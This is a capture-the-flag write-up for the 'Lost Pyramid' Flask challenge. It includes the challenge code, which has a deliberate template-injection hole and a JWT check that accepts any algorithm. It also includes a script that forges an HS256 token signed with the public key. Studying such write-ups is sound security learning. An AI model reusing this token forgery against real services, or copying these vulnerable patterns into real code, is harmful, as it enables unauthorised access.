Skip to content

Lost Pyramid

Challenge

A massive sandstorm revealed this pyramid that has been lost (J)ust over 3300 years.. Iโ€™m interested in (W)here the (T)reasure could be?

โ€” cpan57

  • Directorystatic/
    • *.webp
  • Directorytemplates/
    • anubis_chamber.html
    • hallway.html
    • kings_lair.html
    • osiris_hall.html
    • pyramid.html
    • scarab_room.html
  • Dockerfile
  • app.py
  • private_key.pem
  • public_key.pub
  • requirements.txt
app.py
import json
from flask import Flask, request, render_template, jsonify, make_response, redirect, url_for, render_template_string
import jwt
import datetime
import os
app = Flask(__name__)
# Load keys
with open('private_key.pem', 'rb') as f:
PRIVATE_KEY = f.read()
with open('public_key.pub', 'rb') as f:
PUBLICKEY = f.read()
KINGSDAY = os.getenv("KINGSDAY", "TEST_TEST")
current_date = datetime.datetime.now()
current_date = current_date.strftime("%d_%m_%Y")
@app.route('/entrance', methods=['GET'])
def entrance():
payload = {
"ROLE": "commoner",
"CURRENT_DATE": f"{current_date}_AD",
"exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=(365*3000))
}
token = jwt.encode(payload, PRIVATE_KEY, algorithm="EdDSA")
response = make_response(render_template('pyramid.html'))
response.set_cookie('pyramid', token)
return response
@app.route('/hallway', methods=['GET'])
def hallway():
return render_template('hallway.html')
@app.route('/scarab_room', methods=['GET', 'POST'])
def scarab_room():
try:
if request.method == 'POST':
name = request.form.get('name')
if name:
kings_safelist = ['{','}', '๐“น', '๐“†ฃ','๐“€€', '๐“€', '๐“€‚', '๐“€ƒ', '๐“€„', '๐“€…', '๐“€†', '๐“€‡', '๐“€ˆ', '๐“€‰', '๐“€Š',
'๐“€', '๐“€‘', '๐“€’', '๐“€“', '๐“€”', '๐“€•', '๐“€–', '๐“€—', '๐“€˜', '๐“€™', '๐“€š', '๐“€›', '๐“€œ', '๐“€', '๐“€ž', '๐“€Ÿ',
'๐“€ ', '๐“€ก', '๐“€ข', '๐“€ฃ', '๐“€ค', '๐“€ฅ', '๐“€ฆ', '๐“€ง', '๐“€จ', '๐“€ฉ', '๐“€ช', '๐“€ซ', '๐“€ฌ', '๐“€ญ', '๐“€ฎ', '๐“€ฏ',
'๐“€ฐ', '๐“€ฑ', '๐“€ฒ', '๐“€ณ', '๐“€ด', '๐“€ต', '๐“€ถ', '๐“€ท', '๐“€ธ', '๐“€น', '๐“€บ', '๐“€ป']
name = ''.join([char for char in name if char.isalnum() or char in kings_safelist])
return render_template_string('''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Lost Pyramid</title>
<style>
body {
margin: 0;
height: 100vh;
background-image: url('{{ url_for('static', filename='scarab_room.webp') }}');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
font-family: Arial, sans-serif;
color: white;
position: relative;
}
.return-link {
position: absolute;
top: 10px;
right: 10px;
font-family: 'Noto Sans Egyptian Hieroglyphs', sans-serif;
font-size: 32px;
color: gold;
text-decoration: none;
border: 2px solid gold;
padding: 5px 10px;
border-radius: 5px;
background-color: rgba(0, 0, 0, 0.7);
}
.return-link:hover {
background-color: rgba(0, 0, 0, 0.9);
}
h1 {
color: gold;
}
</style>
</head>
<body>
<a href="{{ url_for('hallway') }}" class="return-link">RETURN</a>
{% if name %}
<h1>๐“น๐“น๐“น Welcome to the Scarab Room, '''+ name + ''' ๐“น๐“น๐“น</h1>
{% endif %}
</body>
</html>
''', name=name, **globals())
except Exception as e:
pass
return render_template('scarab_room.html')
@app.route('/osiris_hall', methods=['GET'])
def osiris_hall():
return render_template('osiris_hall.html')
@app.route('/anubis_chamber', methods=['GET'])
def anubis_chamber():
return render_template('anubis_chamber.html')
@app.route('/')
def home():
return redirect(url_for('entrance'))
@app.route('/kings_lair', methods=['GET'])
def kings_lair():
token = request.cookies.get('pyramid')
if not token:
return jsonify({"error": "Token is required"}), 400
try:
decoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())
if decoded.get("CURRENT_DATE") == KINGSDAY and decoded.get("ROLE") == "royalty":
return render_template('kings_lair.html')
else:
return jsonify({"error": "Access Denied: King said he does not way to see you today."}), 403
except jwt.ExpiredSignatureError:
return jsonify({"error": "Access has expired"}), 401
except jwt.InvalidTokenError as e:
print(e)
return jsonify({"error": "Invalid Access"}), 401
if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 8050)

Solution

The /scarab_room route is vulnrable to SSTI via the name parameter. However, it does it processed before the SSTI. Only alphanumeric characters and โ€{โ€ and โ€}โ€ are allowed.

@app.route('/scarab_room', methods=['GET', 'POST'])
def scarab_room():
try:
if request.method == 'POST':
name = request.form.get('name')
if name:
kings_safelist = ['{','}', '๐“น', '๐“†ฃ','๐“€€', '๐“€', '๐“€‚', '๐“€ƒ', '๐“€„', '๐“€…', '๐“€†', '๐“€‡', '๐“€ˆ', '๐“€‰', '๐“€Š',
'๐“€', '๐“€‘', '๐“€’', '๐“€“', '๐“€”', '๐“€•', '๐“€–', '๐“€—', '๐“€˜', '๐“€™', '๐“€š', '๐“€›', '๐“€œ', '๐“€', '๐“€ž', '๐“€Ÿ',
'๐“€ ', '๐“€ก', '๐“€ข', '๐“€ฃ', '๐“€ค', '๐“€ฅ', '๐“€ฆ', '๐“€ง', '๐“€จ', '๐“€ฉ', '๐“€ช', '๐“€ซ', '๐“€ฌ', '๐“€ญ', '๐“€ฎ', '๐“€ฏ',
'๐“€ฐ', '๐“€ฑ', '๐“€ฒ', '๐“€ณ', '๐“€ด', '๐“€ต', '๐“€ถ', '๐“€ท', '๐“€ธ', '๐“€น', '๐“€บ', '๐“€ป']
name = ''.join([char for char in name if char.isalnum() or char in kings_safelist])
return render_template_string('''
...
{% if name %}
<h1>๐“น๐“น๐“น Welcome to the Scarab Room, '''+ name + ''' ๐“น๐“น๐“น</h1>
{% endif %}
...
''', name=name, **globals())
except Exception as e:
pass
return render_template('scarab_room.html')

The exact characters that are allowed are:

from string import printable
kings_safelist = ['{','}', '๐“น', '๐“†ฃ','๐“€€', '๐“€', '๐“€‚', '๐“€ƒ', '๐“€„', '๐“€…', '๐“€†', '๐“€‡', '๐“€ˆ', '๐“€‰', '๐“€Š',
'๐“€', '๐“€‘', '๐“€’', '๐“€“', '๐“€”', '๐“€•', '๐“€–', '๐“€—', '๐“€˜', '๐“€™', '๐“€š', '๐“€›', '๐“€œ', '๐“€', '๐“€ž', '๐“€Ÿ',
'๐“€ ', '๐“€ก', '๐“€ข', '๐“€ฃ', '๐“€ค', '๐“€ฅ', '๐“€ฆ', '๐“€ง', '๐“€จ', '๐“€ฉ', '๐“€ช', '๐“€ซ', '๐“€ฌ', '๐“€ญ', '๐“€ฎ', '๐“€ฏ',
'๐“€ฐ', '๐“€ฑ', '๐“€ฒ', '๐“€ณ', '๐“€ด', '๐“€ต', '๐“€ถ', '๐“€ท', '๐“€ธ', '๐“€น', '๐“€บ', '๐“€ป']
allowed = ''.join([char for char in printable if char.isalnum() or char in kings_safelist])
print(allowed)
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}

We can leak two out of the three variables we need, but PRIVATE_KEY has an โ€_โ€, so we canโ€™t leak it via SSTI.

app.py
with open('private_key.pem', 'rb') as f:
PRIVATE_KEY = f.read()
with open('public_key.pub', 'rb') as f:
PUBLICKEY = f.read()
KINGSDAY = os.getenv("KINGSDAY", "TEST_TEST")

This next part took me a while to figure out. I tried many different jinja2 (the templating language) SSTI tricks

config
request

but they all list PRIVATE_KEY as None.

The vulnrability came from the

decoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())
print(jwt.algorithms.get_default_algorithms().keys())
dict_keys(['none', 'HS256', 'HS384', 'HS512', 'RS256', 'RS384', 'RS512', 'ES256', 'ES256K', 'ES384', 'ES521', 'ES512', 'PS256', 'PS384', 'PS512', 'EdDSA'])

Because some of the default keys are symmetcric, and we know PUBLICKEY, we can treat it as the secret for a symmetric encryption algorithm.

If we encode our own jwt with the correct date KINGSDAY and correct role (decoded.get("ROLE") == "royalty"), we can access the route with the flag.

The jwt.io website is an easy way to play around with encoding and decoding jwts.

pwn.py
import jwt
import jwt.algorithms
import datetime
KINGSDAY="03_07_1341"
user = {
"ROLE": "royalty",
"CURRENT_DATE": f"{KINGSDAY}_BC",
"exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=(365*3000))
}
pubkey = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2"
print(user)
tok = jwt.encode(user, pubkey, algorithm="HS256")
print(tok)

(This may fail depending on the version of the JWT library, as they check for things like this, so the jwt.io website is my preferred method)

I also saw people check the versions of the library initially, and found the jwt library had a CVE, but I had fun figuring this out myself.